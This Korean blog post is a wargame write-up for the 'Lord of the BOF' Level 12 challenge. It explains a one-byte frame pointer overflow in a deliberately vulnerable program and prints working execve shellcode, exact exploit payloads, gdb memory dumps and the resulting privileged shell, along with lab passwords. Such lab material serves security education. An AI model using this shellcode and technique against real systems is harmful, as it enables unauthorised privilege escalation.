[해커스쿨 LOB] Level12: Golem >> Darkknight

두비니

·

2020. 7. 31. 04:17

 

 

 

 


Level 12. Golem >> Darkknight

Theme: FPO


 

로그인

id : golem
pw : cup of coffee

 

 

bash2 & 코드확인

[golem@localhost golem]$ bash2
[golem@localhost golem]$ nl darkknight.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - darkknight
     4          - FPO
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  void problem_child(char *src)
     9  {
    10          char buffer[40];
    11          strncpy(buffer, src, 41);
    12          printf("%s\n", buffer);
    13  }

    14  main(int argc, char *argv[])
    15  {
    16          if(argc<2){
    17                  printf("argv error\n");
    18                  exit(0);
    19          }

    20          problem_child(argv[1]);
    21  }

 

제한조건

1. argv는 2개 이상 입력

2. problem child >> strncpy때문에 41바이트만 입력 가능 *new!*

 

 

제한조건이 완전 줄어들었네요. 대신에 여태껏 이용한 ret를 덮어씌우던 방법인 단순한 buffer overflow는 사용할 수 없게 되었습니다.

이번 문제부터 본격적으로 공격기법들을 쓰게 됩니다. 공격기법에 대한 사전 공부는 필수입니다. 이번 문제 테마는 FPO, 즉 Frame Pointer Overflow입니다. 구글링을 해보거나 제가 쓴 글을 읽어보시길 바랍니다ㅎ 어디 글이든 좋으니 정말 제대로 이해를 하셔야 합니다.

 

FPO : https://dokhakdubini.tistory.com/228

 

[Stack] Frame Pointer Overflow, FPO에 대하여

오늘은 FPO, Frame Pointer Overflow에 대해서 알아볼 것입니다. SFP Overflow라고도 불립니다. FPO에 대한 풀이 글들을 보면 계속 leave가 ebp+4에 접근할 수 있다, sfp를 조작했으니 ebp를 조작할 수 있다이런..

dokhakdubini.tistory.com

 

 

자, FPO에 대한 이해가 되었다고 가정하고, 공격 시나리오를 구상해봅시다.

그래도 41바이트를 쓸 수 있기 때문에, problem_child()의 sfp를 1바이트 오버플로우 시킬 수 있고, 이걸로 ebp를 (buffer-4)로 변경시킨 후 buffer에 쉘코드의 주소를 넣는다면 main함수가 ret하면서 eip를 쉘코드의 주소로 바꿀 수 있겠죠? 이 점을 이용해 exploit하겠습니다.

 

 

[golem@localhost golem]$ cp darkknight darkknighl
[golem@localhost golem]$ gdb -q darkknighl
(gdb) set disassembly-flavor intel
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>:      push   %ebp
0x8048441 <problem_child+1>:    mov    %ebp,%esp
0x8048443 <problem_child+3>:    sub    %esp,40
0x8048446 <problem_child+6>:    push   41
0x8048448 <problem_child+8>:    mov    %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>:   push   %eax
0x804844c <problem_child+12>:   lea    %eax,[%ebp-40]
0x804844f <problem_child+15>:   push   %eax
0x8048450 <problem_child+16>:   call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:   add    %esp,12
0x8048458 <problem_child+24>:   lea    %eax,[%ebp-40]
0x804845b <problem_child+27>:   push   %eax
0x804845c <problem_child+28>:   push   0x8048500
0x8048461 <problem_child+33>:   call   0x8048354 <printf>
0x8048466 <problem_child+38>:   add    %esp,8
0x8048469 <problem_child+41>:   leave
0x804846a <problem_child+42>:   ret
0x804846b <problem_child+43>:   nop
End of assembler dump.

(gdb) b * problem_child+41
Breakpoint 1 at 0x8048469

main함수로 돌아가기 전 상황이 궁금한 것이기 때문에 problem_child+41에 breakpoint를 걸어줍니다.

 

그리고 41바이트를 입력시켰을때 어떻게 overwrite가 되는지 확인해봅시다.

 

(gdb) r `python -c 'print "A"*40+"\xaa"'`
Starting program: /home/golem/darkknighl `python -c 'print "A"*40+"\xaa"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒R▒▒▒▒▒▒▒   @

Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/100x $esp
0xbffffac4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffad4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffae4:     0x41414141      0x41414141      0xbffffaaa      0x0804849e
0xbffffaf4:     0xbffffc52      0xbffffb18      0x400309cb      0x00000002
0xbffffb04:     0xbffffb44      0xbffffb50      0x40013868      0x00000002
0xbffffb14:     0x08048390      0x00000000      0x080483b1      0x0804846c
0xbffffb24:     0x00000002      0xbffffb44      0x080482e4      0x080484dc
0xbffffb34:     0x4000ae60      0xbffffb3c      0x40013e90      0x00000002
0xbffffb44:     0xbffffc3b      0xbffffc52      0x00000000      0xbffffc7c
...(생략)

 

0xbffffae4:     0x41414141      0x41414141      0xbffffaaa      0x0804849e

 

 

보면 0xbffffaaa 가 sfp이고 다음 0x0804849e가 ret인걸 알 수 있겠죠?

이 상태에서 leave, ret가 실행이 된다면 ebp에는 0xbffffaaa가 pop되는 것이고, 0x0804849e가 eip에 pop되겠죠?

 

(gdb) x/i 0x0804849e
0x804849e <main+50>:    add    %esp,4

 

0x0804849e가 main함수의 instruction을 가리키고 있는 것을 보아, ret을 통해 main함수로 돌아갈 수 있음을 알 수 있습니다. (당연한 이야기이지만)

 

아무튼 여기서 중요한 것은 sfp값을 변경시킬 수 있다는 것입니다. ebp를 0xbffffa__ 중 아무 주소나 가리킬 수 있는 것이니, buffer 주변의 주소로도 충분히 접근이 가능하다는 이야기이겠죠? 그 뒤에 main함수의 함수 에필로그가 불러와지면서 buffer에 우리가 원하는 주소값(쉘코드의 주소겠죠?)으로 접근할 수 있게 되는겁니다.

 

따라서, buffer에 shellcode를 집어넣고, buffer의 주소로 FPO를 일으켜 exploit를 시킬것입니다. 그러면 payload는 다음과 같겠죠?

 

 

 

::payload::

 

`python -c 'print (shellcode주소)+"\x90"*11+ (shellcode; 25bytes) + (buffer주소-4의 마지막 바이트)'`

 

+) 자 이렇게해도 풀리긴하는데 이렇게하면 정확한 주소를 딱 맞춰야해서 삽질이 너무많이필요해요...(삽질 2시간함) 그래서 삽질을 최소한 줄이는 페이로드로 진행합니다. 물론 위에걸로해도 음... 할 수는 있습니다. 할거라면 화이팅^^7

 

`python -c 'print (shellcode주소; 4bytes)*10 + (buffer주소-4의 마지막 바이트; 1byte)'` `python -c 'print "\x90"*100+(shellcode; 25 bytes)'`

 

 

자 쉘코드를 굳이 argv[2]에 넣는 이유는

 

1) buffer에 집어넣으면 주소를 정확하게 맞춰야함

 

2) 1번이랑 같은소리긴한데, argv[2]에 넣어서 nop를 충분히 넣어주면 어느정도 주소에 오차가 생겨도 괜찮기때문에 속편히 풀이하기위해 위 페이로드를 사용하였습니다. 같은 이유로 buffer안에도 어차피 dummy값이 필요한거 shellcode의 주소로 가득 채웠습니다.

 

 

쉘코드는 다음과 같고

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

FPO시킬 주소는 직접 페이로드를 넣어 다시 확인해봅시다.

 

[golem@localhost golem]$ gdb -q darkknighl
(gdb) b * problem_child+41
Breakpoint 1 at 0x8048469
(gdb) r `python -c 'print "\xbf\xbf\xbf\xbf"*10 + "\xaa"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/golem/darkknighl `python -c 'print "\xbf\xbf\xbf\xbf"*10 + "\xaa"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒  @

Breakpoint 1, 0x8048469 in problem_child ()

 

어셈분석은 생략합니다. problem_child+41은 leave를 실행하기 전입니다.

 

Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/48x $esp
0xbffffa44:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffa54:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffa64:     0xbfbfbfbf      0xbfbfbfbf      0xbffffaaa      0x0804849e
0xbffffa74:     0xbffffbd4      0xbffffa98      0x400309cb      0x00000003
0xbffffa84:     0xbffffac4      0xbffffad4      0x40013868      0x00000003
0xbffffa94:     0x08048390      0x00000000      0x080483b1      0x0804846c
0xbffffaa4:     0x00000003      0xbffffac4      0x080482e4      0x080484dc
0xbffffab4:     0x4000ae60      0xbffffabc      0x40013e90      0x00000003
0xbffffac4:     0xbffffbbd      0xbffffbd4      0xbffffbfe      0x00000000
0xbffffad4:     0xbffffc7c      0xbffffc9e      0xbffffca8      0xbffffcb6
0xbffffae4:     0xbffffcd5      0xbffffce3      0xbffffcfc      0xbffffd17
0xbffffaf4:     0xbffffd36      0xbffffd41      0xbffffd4f      0xbffffd90
(gdb)
0xbffffb04:     0xbffffda1      0xbffffdb6      0xbffffdc6      0xbffffdd1
0xbffffb14:     0xbffffdee      0xbffffdf9      0xbffffe0a      0xbffffe1a
0xbffffb24:     0xbffffe22      0x00000000      0x00000003      0x08048034
0xbffffb34:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffb44:     0x00000006      0x00001000      0x00000007      0x40000000
0xbffffb54:     0x00000008      0x00000000      0x00000009      0x08048390
0xbffffb64:     0x0000000b      0x000001ff      0x0000000c      0x000001ff
0xbffffb74:     0x0000000d      0x000001ff      0x0000000e      0x000001ff
0xbffffb84:     0x00000010      0x0f8bfbff      0x0000000f      0xbffffbb8
0xbffffb94:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffba4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbb4:     0x00000000      0x36383669      0x6f682f00      0x672f656d
(gdb)
0xbffffbc4:     0x6d656c6f      0x7261642f      0x696e6b6b      0x006c6867
0xbffffbd4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbe4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffbf4:     0xbfbfbfbf      0xbfbfbfbf      0x909000aa      0x90909090
0xbffffc04:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc14:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc24:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc34:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc44:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc54:     0x90909090      0x90909090      0x90909090      0xc0319090
0xbffffc64:     0x2f2f6850      0x2f686873      0x896e6962      0x895350e3
0xbffffc74:     0xb0c289e1      0x0080cd0b      0x5353454c      0x4e45504f

 

leave직전이니깐 당연히 esp는 buffer의 시작부분에 가있겠죠?

 

0xbffffaa4가 buffer의 시작주소라는 것을 알 수 있고, 저 밑에 0xbffffbd4부터가 argv[1]과 argv[2]가 시작하는걸 볼 수가 있네요. argv의 영역인지 아는거는 0xbffffbf4줄에 aa뒤에 \x00하나만 있고 바로 bfbf가 시작되는걸로 알 수 있습니다.

 

그럼 여기서 우리가 필요한 것은 buffer의 시작주소-4인 0xbffffaa0, 그리고 shellcode가 있는 주소인 0xbffffc14를 가져가겠습니다. (넉넉하게 nop있는곳으로 가져가는건 당연히 이해되죠?)

 

 

최종 페이로드입니다.

 

`python -c 'print "\x14\xfc\xff\xbf"*10 + "\x40"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

 

[golem@localhost golem]$ ./darkknight `python -c 'print "\x14\xfc\xff\xbf"*10 + "\x40"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒@▒▒▒▒▒▒▒▒▒▒▒▒▒    @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
bash$

 

 

아주 좋아요~

 

 

앞으로의 문제는 모두 이렇게 진짜 그럴싸한 기법들을 사용하기 시작합니다. 이러한 기법들을 이해하는건 결국 메모리의 동작과정을 다 완벽하게 파악하고있어야 해요. 어려운건 당연한거니 너무 좌절하지 마시고, 여러번 반복해서 보고 모르겠는 부분은 질문하십쇼. 여기까지 온거 열심히합시다 화이링~~